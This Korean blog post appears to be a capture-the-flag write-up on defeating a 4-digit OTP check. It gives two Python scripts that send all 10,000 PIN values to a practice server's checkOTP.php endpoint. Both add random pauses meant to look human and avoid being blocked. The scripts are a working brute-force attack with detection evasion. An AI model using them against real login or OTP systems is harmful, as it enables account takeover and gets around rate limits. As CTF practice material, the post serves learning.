OTP 인증을 통과해야합니다!

PIN Code 숫자 4자리를 입력하는 문제다.
burp suite으로 해봤지만 속도가 너무 느려서 쓸 수 있을 것 같진 않다.
Python 으로 requeset 스크립트를 짜보자!
burp site에서 가져온 로그인 패킷이다. GET /6/checkOTP.php?otpNum=1111 HTTP/1.1
GET 방식인걸 확인할 수 있다. GET 방식 메소드로 코드를 짜보자.
import requests
import time
import random
for a1 in ['0', '1', '2', '3', '4','5', '6', '7', '8', '9']:
time.sleep(random.uniform(2,4)) # 사람처럼 보이도록 랜덤하게 쉬는 시간 변경
for a2 in ['0', '1', '2', '3', '4','5', '6', '7', '8', '9']:
for a3 in ['0', '1', '2', '3', '4','5', '6', '7', '8', '9']:
for a4 in ['0', '1', '2', '3', '4','5', '6', '7', '8', '9']:
pin = a1+a2+a3+a4
param = { "otpNum" : pin }
response = requests.get('http://ctf.segfaulthub.com:1129/6/checkOTP.php', params=param)
if response.text.find('Fail') != -1: # find()함수는 찾는 문자가 없으면 -1을 반환
print(pin)
elif response.text.find('Fail') == -1:
print('============================================================')
print('======',pin, response.text)
print('============================================================')
time.sleep(random.uniform(2,4) 구문은 서버에게 계속 요청을 하면 서버에 대한 DDoS 공격으로 인지하고
차단을 할수 있기 때문에 1000번 반복할 때마다 2~4초 정도 쉬게 해줬다.
쉬는 주기를 더 짧게 줘도 된다.
하다보니 반복문 문구를 더 쉽게 할 수 있을 것 같아 찾아보니 포맷을 활용해서 아래 코드로 다시 해봤다.
코드가 더 짧아지고 보기 더 좋아진 것 같다.
import requests
import time
import random
for i in range(10000):
pin = ('{0:04d}'.format(i)) # 숫자를 4자리로 포맷하고 빈 자리에 0을 넣는다.
param = { "otpNum" : pin }
response = requests.get('http://ctf.segfaulthub.com:1129/6/checkOTP.php', params=param)
if (i%1000) == 0: # 반복주기 1000마다 쉬는 시간
time.sleep(random.uniform(2,4))
elif response.text.find('Fail') != -1:
print(pin)
elif response.text.find('Fail') == -1:
print('============================================================')
print('======',pin, response.text)
print('============================================================')


'Security > Web' 카테고리의 다른 글
| [Python] RSA 암호 구현 (0) | 2023.04.11 |
|---|---|
| 로그인 인증 로직 (0) | 2023.04.10 |
| XOR 연산을 이용한 암호화 / 복호화 / 공격 (0) | 2023.04.05 |
| Background: HTTP/HTTPS (0) | 2023.04.03 |
| Background: Web (0) | 2023.04.02 |